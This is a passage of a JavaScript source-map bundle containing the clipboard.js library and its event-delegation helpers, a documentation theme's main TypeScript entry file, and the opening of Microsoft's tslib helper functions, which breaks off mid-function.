return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\n\n\n/**\n * Inner function which performs selection from either `text` or `target`\n * properties and then executes copy or cut operations.\n * @param {Object} options\n */\n\nvar ClipboardActionDefault = function ClipboardActionDefault() {\n var options = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};\n // Defines base properties passed from constructor.\n var _options$action = options.action,\n action = _options$action === void 0 ? 'copy' : _options$action,\n container = options.container,\n target = options.target,\n text = options.text; // Sets the `action` to be performed which can be either 'copy' or 'cut'.\n\n if (action !== 'copy' && action !== 'cut') {\n throw new Error('Invalid \"action\" value, use either \"copy\" or \"cut\"');\n } // Sets the `target` property using an element that will be have its content copied.\n\n\n if (target !== undefined) {\n if (target && _typeof(target) === 'object' && target.nodeType === 1) {\n if (action === 'copy' && target.hasAttribute('disabled')) {\n throw new Error('Invalid \"target\" attribute. Please use \"readonly\" instead of \"disabled\" attribute');\n }\n\n if (action === 'cut' && (target.hasAttribute('readonly') || target.hasAttribute('disabled'))) {\n throw new Error('Invalid \"target\" attribute. You can\\'t cut text from elements with \"readonly\" or \"disabled\" attributes');\n }\n } else {\n throw new Error('Invalid \"target\" value, use a valid Element');\n }\n } // Define selection strategy based on `text` property.\n\n\n if (text) {\n return actions_copy(text, {\n container: container\n });\n } // Defines which selection strategy based on `target` property.\n\n\n if (target) {\n return action === 'cut' ? actions_cut(target) : actions_copy(target, {\n container: container\n });\n }\n};\n\n/* harmony default export */ var actions_default = (ClipboardActionDefault);\n;// CONCATENATED MODULE: ./src/clipboard.js\nfunction clipboard_typeof(obj) { \"@babel/helpers - typeof\"; if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { clipboard_typeof = function _typeof(obj) { return typeof obj; }; } else { clipboard_typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return clipboard_typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\nfunction _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (clipboard_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _isNativeReflectConstruct() { if (typeof Reflect === \"undefined\" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === \"function\") return true; try { Date.prototype.toString.call(Reflect.construct(Date, [], function () {})); return true; } catch (e) { return false; } }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\n\n\n\n\n\n/**\n * Helper function to retrieve attribute value.\n * @param {String} suffix\n * @param {Element} element\n */\n\nfunction getAttributeValue(suffix, element) {\n var attribute = \"data-clipboard-\".concat(suffix);\n\n if (!element.hasAttribute(attribute)) {\n return;\n }\n\n return element.getAttribute(attribute);\n}\n/**\n * Base class which takes one or more elements, adds event listeners to them,\n * and instantiates a new `ClipboardAction` on each click.\n */\n\n\nvar Clipboard = /*#__PURE__*/function (_Emitter) {\n _inherits(Clipboard, _Emitter);\n\n var _super = _createSuper(Clipboard);\n\n /**\n * @param {String|HTMLElement|HTMLCollection|NodeList} trigger\n * @param {Object} options\n */\n function Clipboard(trigger, options) {\n var _this;\n\n _classCallCheck(this, Clipboard);\n\n _this = _super.call(this);\n\n _this.resolveOptions(options);\n\n _this.listenClick(trigger);\n\n return _this;\n }\n /**\n * Defines if attributes would be resolved using internal setter functions\n * or custom functions that were passed in the constructor.\n * @param {Object} options\n */\n\n\n _createClass(Clipboard, [{\n key: \"resolveOptions\",\n value: function resolveOptions() {\n var options = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};\n this.action = typeof options.action === 'function' ? options.action : this.defaultAction;\n this.target = typeof options.target === 'function' ? options.target : this.defaultTarget;\n this.text = typeof options.text === 'function' ? options.text : this.defaultText;\n this.container = clipboard_typeof(options.container) === 'object' ? options.container : document.body;\n }\n /**\n * Adds a click event listener to the passed trigger.\n * @param {String|HTMLElement|HTMLCollection|NodeList} trigger\n */\n\n }, {\n key: \"listenClick\",\n value: function listenClick(trigger) {\n var _this2 = this;\n\n this.listener = listen_default()(trigger, 'click', function (e) {\n return _this2.onClick(e);\n });\n }\n /**\n * Defines a new `ClipboardAction` on each click event.\n * @param {Event} e\n */\n\n }, {\n key: \"onClick\",\n value: function onClick(e) {\n var trigger = e.delegateTarget || e.currentTarget;\n var action = this.action(trigger) || 'copy';\n var text = actions_default({\n action: action,\n container: this.container,\n target: this.target(trigger),\n text: this.text(trigger)\n }); // Fires an event based on the copy operation result.\n\n this.emit(text ? 'success' : 'error', {\n action: action,\n text: text,\n trigger: trigger,\n clearSelection: function clearSelection() {\n if (trigger) {\n trigger.focus();\n }\n\n window.getSelection().removeAllRanges();\n }\n });\n }\n /**\n * Default `action` lookup function.\n * @param {Element} trigger\n */\n\n }, {\n key: \"defaultAction\",\n value: function defaultAction(trigger) {\n return getAttributeValue('action', trigger);\n }\n /**\n * Default `target` lookup function.\n * @param {Element} trigger\n */\n\n }, {\n key: \"defaultTarget\",\n value: function defaultTarget(trigger) {\n var selector = getAttributeValue('target', trigger);\n\n if (selector) {\n return document.querySelector(selector);\n }\n }\n /**\n * Allow fire programmatically a copy action\n * @param {String|HTMLElement} target\n * @param {Object} options\n * @returns Text copied.\n */\n\n }, {\n key: \"defaultText\",\n\n /**\n * Default `text` lookup function.\n * @param {Element} trigger\n */\n value: function defaultText(trigger) {\n return getAttributeValue('text', trigger);\n }\n /**\n * Destroy lifecycle.\n */\n\n }, {\n key: \"destroy\",\n value: function destroy() {\n this.listener.destroy();\n }\n }], [{\n key: \"copy\",\n value: function copy(target) {\n var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {\n container: document.body\n };\n return actions_copy(target, options);\n }\n /**\n * Allow fire programmatically a cut action\n * @param {String|HTMLElement} target\n * @returns Text cutted.\n */\n\n }, {\n key: \"cut\",\n value: function cut(target) {\n return actions_cut(target);\n }\n /**\n * Returns the support of the given action, or all actions if no action is\n * given.\n * @param {String} [action]\n */\n\n }, {\n key: \"isSupported\",\n value: function isSupported() {\n var action = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : ['copy', 'cut'];\n var actions = typeof action === 'string' ? [action] : action;\n var support = !!document.queryCommandSupported;\n actions.forEach(function (action) {\n support = support && !!document.queryCommandSupported(action);\n });\n return support;\n }\n }]);\n\n return Clipboard;\n}((tiny_emitter_default()));\n\n/* harmony default export */ var clipboard = (Clipboard);\n\n/***/ }),\n\n/***/ 828:\n/***/ (function(module) {\n\nvar DOCUMENT_NODE_TYPE = 9;\n\n/**\n * A polyfill for Element.matches()\n */\nif (typeof Element !== 'undefined' && !Element.prototype.matches) {\n var proto = Element.prototype;\n\n proto.matches = proto.matchesSelector ||\n proto.mozMatchesSelector ||\n proto.msMatchesSelector ||\n proto.oMatchesSelector ||\n proto.webkitMatchesSelector;\n}\n\n/**\n * Finds the closest parent that matches a selector.\n *\n * @param {Element} element\n * @param {String} selector\n * @return {Function}\n */\nfunction closest (element, selector) {\n while (element && element.nodeType !== DOCUMENT_NODE_TYPE) {\n if (typeof element.matches === 'function' &&\n element.matches(selector)) {\n return element;\n }\n element = element.parentNode;\n }\n}\n\nmodule.exports = closest;\n\n\n/***/ }),\n\n/***/ 438:\n/***/ (function(module, __unused_webpack_exports, __webpack_require__) {\n\nvar closest = __webpack_require__(828);\n\n/**\n * Delegates event to a selector.\n *\n * @param {Element} element\n * @param {String} selector\n * @param {String} type\n * @param {Function} callback\n * @param {Boolean} useCapture\n * @return {Object}\n */\nfunction _delegate(element, selector, type, callback, useCapture) {\n var listenerFn = listener.apply(this, arguments);\n\n element.addEventListener(type, listenerFn, useCapture);\n\n return {\n destroy: function() {\n element.removeEventListener(type, listenerFn, useCapture);\n }\n }\n}\n\n/**\n * Delegates event to a selector.\n *\n * @param {Element|String|Array} [elements]\n * @param {String} selector\n * @param {String} type\n * @param {Function} callback\n * @param {Boolean} useCapture\n * @return {Object}\n */\nfunction delegate(elements, selector, type, callback, useCapture) {\n // Handle the regular Element usage\n if (typeof elements.addEventListener === 'function') {\n return _delegate.apply(null, arguments);\n }\n\n // Handle Element-less usage, it defaults to global delegation\n if (typeof type === 'function') {\n // Use `document` as the first parameter, then apply arguments\n // This is a short way to .unshift `arguments` without running into deoptimizations\n return _delegate.bind(null, document).apply(null, arguments);\n }\n\n // Handle Selector-based usage\n if (typeof elements === 'string') {\n elements = document.querySelectorAll(elements);\n }\n\n // Handle Array-like based usage\n return Array.prototype.map.call(elements, function (element) {\n return _delegate(element, selector, type, callback, useCapture);\n });\n}\n\n/**\n * Finds closest match and invokes callback.\n *\n * @param {Element} element\n * @param {String} selector\n * @param {String} type\n * @param {Function} callback\n * @return {Function}\n */\nfunction listener(element, selector, type, callback) {\n return function(e) {\n e.delegateTarget = closest(e.target, selector);\n\n if (e.delegateTarget) {\n callback.call(element, e);\n }\n }\n}\n\nmodule.exports = delegate;\n\n\n/***/ }),\n\n/***/ 879:\n/***/ (function(__unused_webpack_module, exports) {\n\n/**\n * Check if argument is a HTML element.\n *\n * @param {Object} value\n * @return {Boolean}\n */\nexports.node = function(value) {\n return value !== undefined\n && value instanceof HTMLElement\n && value.nodeType === 1;\n};\n\n/**\n * Check if argument is a list of HTML elements.\n *\n * @param {Object} value\n * @return {Boolean}\n */\nexports.nodeList = function(value) {\n var type = Object.prototype.toString.call(value);\n\n return value !== undefined\n && (type === '[object NodeList]' || type === '[object HTMLCollection]')\n && ('length' in value)\n && (value.length === 0 || exports.node(value[0]));\n};\n\n/**\n * Check if argument is a string.\n *\n * @param {Object} value\n * @return {Boolean}\n */\nexports.string = function(value) {\n return typeof value === 'string'\n || value instanceof String;\n};\n\n/**\n * Check if argument is a function.\n *\n * @param {Object} value\n * @return {Boolean}\n */\nexports.fn = function(value) {\n var type = Object.prototype.toString.call(value);\n\n return type === '[object Function]';\n};\n\n\n/***/ }),\n\n/***/ 370:\n/***/ (function(module, __unused_webpack_exports, __webpack_require__) {\n\nvar is = __webpack_require__(879);\nvar delegate = __webpack_require__(438);\n\n/**\n * Validates all params and calls the right\n * listener function based on its target type.\n *\n * @param {String|HTMLElement|HTMLCollection|NodeList} target\n * @param {String} type\n * @param {Function} callback\n * @return {Object}\n */\nfunction listen(target, type, callback) {\n if (!target && !type && !callback) {\n throw new Error('Missing required arguments');\n }\n\n if (!is.string(type)) {\n throw new TypeError('Second argument must be a String');\n }\n\n if (!is.fn(callback)) {\n throw new TypeError('Third argument must be a Function');\n }\n\n if (is.node(target)) {\n return listenNode(target, type, callback);\n }\n else if (is.nodeList(target)) {\n return listenNodeList(target, type, callback);\n }\n else if (is.string(target)) {\n return listenSelector(target, type, callback);\n }\n else {\n throw new TypeError('First argument must be a String, HTMLElement, HTMLCollection, or NodeList');\n }\n}\n\n/**\n * Adds an event listener to a HTML element\n * and returns a remove listener function.\n *\n * @param {HTMLElement} node\n * @param {String} type\n * @param {Function} callback\n * @return {Object}\n */\nfunction listenNode(node, type, callback) {\n node.addEventListener(type, callback);\n\n return {\n destroy: function() {\n node.removeEventListener(type, callback);\n }\n }\n}\n\n/**\n * Add an event listener to a list of HTML elements\n * and returns a remove listener function.\n *\n * @param {NodeList|HTMLCollection} nodeList\n * @param {String} type\n * @param {Function} callback\n * @return {Object}\n */\nfunction listenNodeList(nodeList, type, callback) {\n Array.prototype.forEach.call(nodeList, function(node) {\n node.addEventListener(type, callback);\n });\n\n return {\n destroy: function() {\n Array.prototype.forEach.call(nodeList, function(node) {\n node.removeEventListener(type, callback);\n });\n }\n }\n}\n\n/**\n * Add an event listener to a selector\n * and returns a remove listener function.\n *\n * @param {String} selector\n * @param {String} type\n * @param {Function} callback\n * @return {Object}\n */\nfunction listenSelector(selector, type, callback) {\n return delegate(document.body, selector, type, callback);\n}\n\nmodule.exports = listen;\n\n\n/***/ }),\n\n/***/ 817:\n/***/ (function(module) {\n\nfunction select(element) {\n var selectedText;\n\n if (element.nodeName === 'SELECT') {\n element.focus();\n\n selectedText = element.value;\n }\n else if (element.nodeName === 'INPUT' || element.nodeName === 'TEXTAREA') {\n var isReadOnly = element.hasAttribute('readonly');\n\n if (!isReadOnly) {\n element.setAttribute('readonly', '');\n }\n\n element.select();\n element.setSelectionRange(0, element.value.length);\n\n if (!isReadOnly) {\n element.removeAttribute('readonly');\n }\n\n selectedText = element.value;\n }\n else {\n if (element.hasAttribute('contenteditable')) {\n element.focus();\n }\n\n var selection = window.getSelection();\n var range = document.createRange();\n\n range.selectNodeContents(element);\n selection.removeAllRanges();\n selection.addRange(range);\n\n selectedText = selection.toString();\n }\n\n return selectedText;\n}\n\nmodule.exports = select;\n\n\n/***/ }),\n\n/***/ 279:\n/***/ (function(module) {\n\nfunction E () {\n // Keep this empty so it's easier to inherit from\n // (via https://github.com/lipsmack from https://github.com/scottcorgan/tiny-emitter/issues/3)\n}\n\nE.prototype = {\n on: function (name, callback, ctx) {\n var e = this.e || (this.e = {});\n\n (e[name] || (e[name] = [])).push({\n fn: callback,\n ctx: ctx\n });\n\n return this;\n },\n\n once: function (name, callback, ctx) {\n var self = this;\n function listener () {\n self.off(name, listener);\n callback.apply(ctx, arguments);\n };\n\n listener._ = callback\n return this.on(name, listener, ctx);\n },\n\n emit: function (name) {\n var data = [].slice.call(arguments, 1);\n var evtArr = ((this.e || (this.e = {}))[name] || []).slice();\n var i = 0;\n var len = evtArr.length;\n\n for (i; i < len; i++) {\n evtArr[i].fn.apply(evtArr[i].ctx, data);\n }\n\n return this;\n },\n\n off: function (name, callback) {\n var e = this.e || (this.e = {});\n var evts = e[name];\n var liveEvents = [];\n\n if (evts && callback) {\n for (var i = 0, len = evts.length; i < len; i++) {\n if (evts[i].fn !== callback && evts[i].fn._ !== callback)\n liveEvents.push(evts[i]);\n }\n }\n\n // Remove event from queue to prevent memory leak\n // Suggested by https://github.com/lazd\n // Ref: https://github.com/scottcorgan/tiny-emitter/commit/c6ebfaa9bc973b33d110a84a307742b7cf94c953#commitcomment-5024910\n\n (liveEvents.length)\n ? e[name] = liveEvents\n : delete e[name];\n\n return this;\n }\n};\n\nmodule.exports = E;\nmodule.exports.TinyEmitter = E;\n\n\n/***/ })\n\n/******/ \t});\n/************************************************************************/\n/******/ \t// The module cache\n/******/ \tvar __webpack_module_cache__ = {};\n/******/ \t\n/******/ \t// The require function\n/******/ \tfunction __webpack_require__(moduleId) {\n/******/ \t\t// Check if module is in cache\n/******/ \t\tif(__webpack_module_cache__[moduleId]) {\n/******/ \t\t\treturn __webpack_module_cache__[moduleId].exports;\n/******/ \t\t}\n/******/ \t\t// Create a new module (and put it into the cache)\n/******/ \t\tvar module = __webpack_module_cache__[moduleId] = {\n/******/ \t\t\t// no module.id needed\n/******/ \t\t\t// no module.loaded needed\n/******/ \t\t\texports: {}\n/******/ \t\t};\n/******/ \t\n/******/ \t\t// Execute the module function\n/******/ \t\t__webpack_modules__[moduleId](module, module.exports, __webpack_require__);\n/******/ \t\n/******/ \t\t// Return the exports of the module\n/******/ \t\treturn module.exports;\n/******/ \t}\n/******/ \t\n/************************************************************************/\n/******/ \t/* webpack/runtime/compat get default export */\n/******/ \t!function() {\n/******/ \t\t// getDefaultExport function for compatibility with non-harmony modules\n/******/ \t\t__webpack_require__.n = function(module) {\n/******/ \t\t\tvar getter = module && module.__esModule ?\n/******/ \t\t\t\tfunction() { return module['default']; } :\n/******/ \t\t\t\tfunction() { return module; };\n/******/ \t\t\t__webpack_require__.d(getter, { a: getter });\n/******/ \t\t\treturn getter;\n/******/ \t\t};\n/******/ \t}();\n/******/ \t\n/******/ \t/* webpack/runtime/define property getters */\n/******/ \t!function() {\n/******/ \t\t// define getter functions for harmony exports\n/******/ \t\t__webpack_require__.d = function(exports, definition) {\n/******/ \t\t\tfor(var key in definition) {\n/******/ \t\t\t\tif(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {\n/******/ \t\t\t\t\tObject.defineProperty(exports, key, { enumerable: true, get: definition[key] });\n/******/ \t\t\t\t}\n/******/ \t\t\t}\n/******/ \t\t};\n/******/ \t}();\n/******/ \t\n/******/ \t/* webpack/runtime/hasOwnProperty shorthand */\n/******/ \t!function() {\n/******/ \t\t__webpack_require__.o = function(obj, prop) { return Object.prototype.hasOwnProperty.call(obj, prop); }\n/******/ \t}();\n/******/ \t\n/************************************************************************/\n/******/ \t// module exports must be returned from runtime so entry inlining is disabled\n/******/ \t// startup\n/******/ \t// Load entry module and return exports\n/******/ \treturn __webpack_require__(686);\n/******/ })()\n.default;\n});", "/*\n * Copyright (c) 2016-2024 Martin Donath \n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to\n * deal in the Software without restriction, including without limitation the\n * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or\n * sell copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n * IN THE SOFTWARE.\n */\n\nimport \"focus-visible\"\n\nimport {\n EMPTY,\n NEVER,\n Observable,\n Subject,\n defer,\n delay,\n filter,\n map,\n merge,\n mergeWith,\n shareReplay,\n switchMap\n} from \"rxjs\"\n\nimport { configuration, feature } from \"./_\"\nimport {\n at,\n getActiveElement,\n getOptionalElement,\n requestJSON,\n setLocation,\n setToggle,\n watchDocument,\n watchKeyboard,\n watchLocation,\n watchLocationTarget,\n watchMedia,\n watchPrint,\n watchScript,\n watchViewport\n} from \"./browser\"\nimport {\n getComponentElement,\n getComponentElements,\n mountAnnounce,\n mountBackToTop,\n mountConsent,\n mountContent,\n mountDialog,\n mountHeader,\n mountHeaderTitle,\n mountPalette,\n mountProgress,\n mountSearch,\n mountSearchHiglight,\n mountSidebar,\n mountSource,\n mountTableOfContents,\n mountTabs,\n watchHeader,\n watchMain\n} from \"./components\"\nimport {\n SearchIndex,\n setupClipboardJS,\n setupInstantNavigation,\n setupVersionSelector\n} from \"./integrations\"\nimport {\n patchEllipsis,\n patchIndeterminate,\n patchScrollfix,\n patchScrolllock\n} from \"./patches\"\nimport \"./polyfills\"\n\n/* ----------------------------------------------------------------------------\n * Functions - @todo refactor\n * ------------------------------------------------------------------------- */\n\n/**\n * Fetch search index\n *\n * @returns Search index observable\n */\nfunction fetchSearchIndex(): Observable {\n if (location.protocol === \"file:\") {\n return watchScript(\n `${new URL(\"search/search_index.js\", config.base)}`\n )\n .pipe(\n // @ts-ignore - @todo fix typings\n map(() => __index),\n shareReplay(1)\n )\n } else {\n return requestJSON(\n new URL(\"search/search_index.json\", config.base)\n )\n }\n}\n\n/* ----------------------------------------------------------------------------\n * Application\n * ------------------------------------------------------------------------- */\n\n/* Yay, JavaScript is available */\ndocument.documentElement.classList.remove(\"no-js\")\ndocument.documentElement.classList.add(\"js\")\n\n/* Set up navigation observables and subjects */\nconst document$ = watchDocument()\nconst location$ = watchLocation()\nconst target$ = watchLocationTarget(location$)\nconst keyboard$ = watchKeyboard()\n\n/* Set up media observables */\nconst viewport$ = watchViewport()\nconst tablet$ = watchMedia(\"(min-width: 960px)\")\nconst screen$ = watchMedia(\"(min-width: 1220px)\")\nconst print$ = watchPrint()\n\n/* Retrieve search index, if search is enabled */\nconst config = configuration()\nconst index$ = document.forms.namedItem(\"search\")\n ? fetchSearchIndex()\n : NEVER\n\n/* Set up Clipboard.js integration */\nconst alert$ = new Subject()\nsetupClipboardJS({ alert$ })\n\n/* Set up progress indicator */\nconst progress$ = new Subject()\n\n/* Set up instant navigation, if enabled */\nif (feature(\"navigation.instant\"))\n setupInstantNavigation({ location$, viewport$, progress$ })\n .subscribe(document$)\n\n/* Set up version selector */\nif (config.version?.provider === \"mike\")\n setupVersionSelector({ document$ })\n\n/* Always close drawer and search on navigation */\nmerge(location$, target$)\n .pipe(\n delay(125)\n )\n .subscribe(() => {\n setToggle(\"drawer\", false)\n setToggle(\"search\", false)\n })\n\n/* Set up global keyboard handlers */\nkeyboard$\n .pipe(\n filter(({ mode }) => mode === \"global\")\n )\n .subscribe(key => {\n switch (key.type) {\n\n /* Go to previous page */\n case \"p\":\n case \",\":\n const prev = getOptionalElement(\"link[rel=prev]\")\n if (typeof prev !== \"undefined\")\n setLocation(prev)\n break\n\n /* Go to next page */\n case \"n\":\n case \".\":\n const next = getOptionalElement(\"link[rel=next]\")\n if (typeof next !== \"undefined\")\n setLocation(next)\n break\n\n /* Expand navigation, see https://bit.ly/3ZjG5io */\n case \"Enter\":\n const active = getActiveElement()\n if (active instanceof HTMLLabelElement)\n active.click()\n }\n })\n\n/* Set up patches */\npatchEllipsis({ viewport$, document$ })\npatchIndeterminate({ document$, tablet$ })\npatchScrollfix({ document$ })\npatchScrolllock({ viewport$, tablet$ })\n\n/* Set up header and main area observable */\nconst header$ = watchHeader(getComponentElement(\"header\"), { viewport$ })\nconst main$ = document$\n .pipe(\n map(() => getComponentElement(\"main\")),\n switchMap(el => watchMain(el, { viewport$, header$ })),\n shareReplay(1)\n )\n\n/* Set up control component observables */\nconst control$ = merge(\n\n /* Consent */\n ...getComponentElements(\"consent\")\n .map(el => mountConsent(el, { target$ })),\n\n /* Dialog */\n ...getComponentElements(\"dialog\")\n .map(el => mountDialog(el, { alert$ })),\n\n /* Color palette */\n ...getComponentElements(\"palette\")\n .map(el => mountPalette(el)),\n\n /* Progress bar */\n ...getComponentElements(\"progress\")\n .map(el => mountProgress(el, { progress$ })),\n\n /* Search */\n ...getComponentElements(\"search\")\n .map(el => mountSearch(el, { index$, keyboard$ })),\n\n /* Repository information */\n ...getComponentElements(\"source\")\n .map(el => mountSource(el))\n)\n\n/* Set up content component observables */\nconst content$ = defer(() => merge(\n\n /* Announcement bar */\n ...getComponentElements(\"announce\")\n .map(el => mountAnnounce(el)),\n\n /* Content */\n ...getComponentElements(\"content\")\n .map(el => mountContent(el, { viewport$, target$, print$ })),\n\n /* Search highlighting */\n ...getComponentElements(\"content\")\n .map(el => feature(\"search.highlight\")\n ? mountSearchHiglight(el, { index$, location$ })\n : EMPTY\n ),\n\n /* Header */\n ...getComponentElements(\"header\")\n .map(el => mountHeader(el, { viewport$, header$, main$ })),\n\n /* Header title */\n ...getComponentElements(\"header-title\")\n .map(el => mountHeaderTitle(el, { viewport$, header$ })),\n\n /* Sidebar */\n ...getComponentElements(\"sidebar\")\n .map(el => el.getAttribute(\"data-md-type\") === \"navigation\"\n ? at(screen$, () => mountSidebar(el, { viewport$, header$, main$ }))\n : at(tablet$, () => mountSidebar(el, { viewport$, header$, main$ }))\n ),\n\n /* Navigation tabs */\n ...getComponentElements(\"tabs\")\n .map(el => mountTabs(el, { viewport$, header$ })),\n\n /* Table of contents */\n ...getComponentElements(\"toc\")\n .map(el => mountTableOfContents(el, {\n viewport$, header$, main$, target$\n })),\n\n /* Back-to-top button */\n ...getComponentElements(\"top\")\n .map(el => mountBackToTop(el, { viewport$, header$, main$, target$ }))\n))\n\n/* Set up component observables */\nconst component$ = document$\n .pipe(\n switchMap(() => content$),\n mergeWith(control$),\n shareReplay(1)\n )\n\n/* Subscribe to all components */\ncomponent$.subscribe()\n\n/* ----------------------------------------------------------------------------\n * Exports\n * ------------------------------------------------------------------------- */\n\nwindow.document$ = document$ /* Document observable */\nwindow.location$ = location$ /* Location subject */\nwindow.target$ = target$ /* Location target observable */\nwindow.keyboard$ = keyboard$ /* Keyboard observable */\nwindow.viewport$ = viewport$ /* Viewport observable */\nwindow.tablet$ = tablet$ /* Media tablet observable */\nwindow.screen$ = screen$ /* Media screen observable */\nwindow.print$ = print$ /* Media print observable */\nwindow.alert$ = alert$ /* Alert subject */\nwindow.progress$ = progress$ /* Progress indicator subject */\nwindow.component$ = component$ /* Component observable */\n", "/******************************************************************************\nCopyright (c) Microsoft Corporation.\n\nPermission to use, copy, modify, and/or distribute this software for any\npurpose with or without fee is hereby granted.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH\nREGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY\nAND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,\nINDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM\nLOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR\nOTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR\nPERFORMANCE OF THIS SOFTWARE.\n***************************************************************************** */\n/* global Reflect, Promise, SuppressedError, Symbol, Iterator */\n\nvar extendStatics = function(d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n};\n\nexport function __extends(d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n}\n\nexport var __assign = function() {\n __assign = Object.assign || function __assign(t) {\n for (var s, i = 1, n = arguments.length; i < n; i++) {\n s = arguments[i];\n for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p];\n }\n return t;\n }\n return __assign.apply(this, arguments);\n}\n\nexport function __rest(s, e) {\n var t = {};\n for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0)\n t[p] = s[p];\n if (s != null && typeof Object.getOwnPropertySymbols === \"function\")\n for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) {\n if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i]))\n t[p[i]] = s[p[i]];\n }\n return t;\n}\n\nexport function __decorate(decorators, target, key, desc) {\n var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;\n if (typeof Reflect === \"object\" && typeof Reflect.decorate === \"function\") r = Reflect.decorate(decorators, target, key, desc);\n else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;\n return c > 3 && r && Object.defineProperty(target, key, r), r;\n}\n\nexport function __param(paramIndex, decorator) {\n return function (target, key) { decorator(target, key, paramIndex); }\n}\n\nexport function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) {\n function accept(f) { if (f !== void 0 && typeof f !== \"function\") throw new TypeError(\"Function expected\"); return f; }\n var kind = contextIn.kind, key = kind === \"getter\" ? \"get\" : kind === \"setter\" ? \"set\" : \"value\";\n var target = !descriptorIn && ctor ? contextIn[\"static\"] ? ctor : ctor.prototype : null;\n var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {});\n var _, done = false;\n for (var i = decorators.length - 1; i >= 0; i--) {\n var context = {};\n for (var p in contextIn) context[p] = p === \"access\" ? {} : contextIn[p];\n for (var p in contextIn.access) context.access[p] = contextIn.access[p];\n context.addInitializer = function (f) { if (done) throw new TypeError(\"Cannot add initializers after decoration has completed\"); extraInitializers.push(accept(f || null)); };\n var result = (0, decorators[i])(kind === \"accessor\" ? { get: 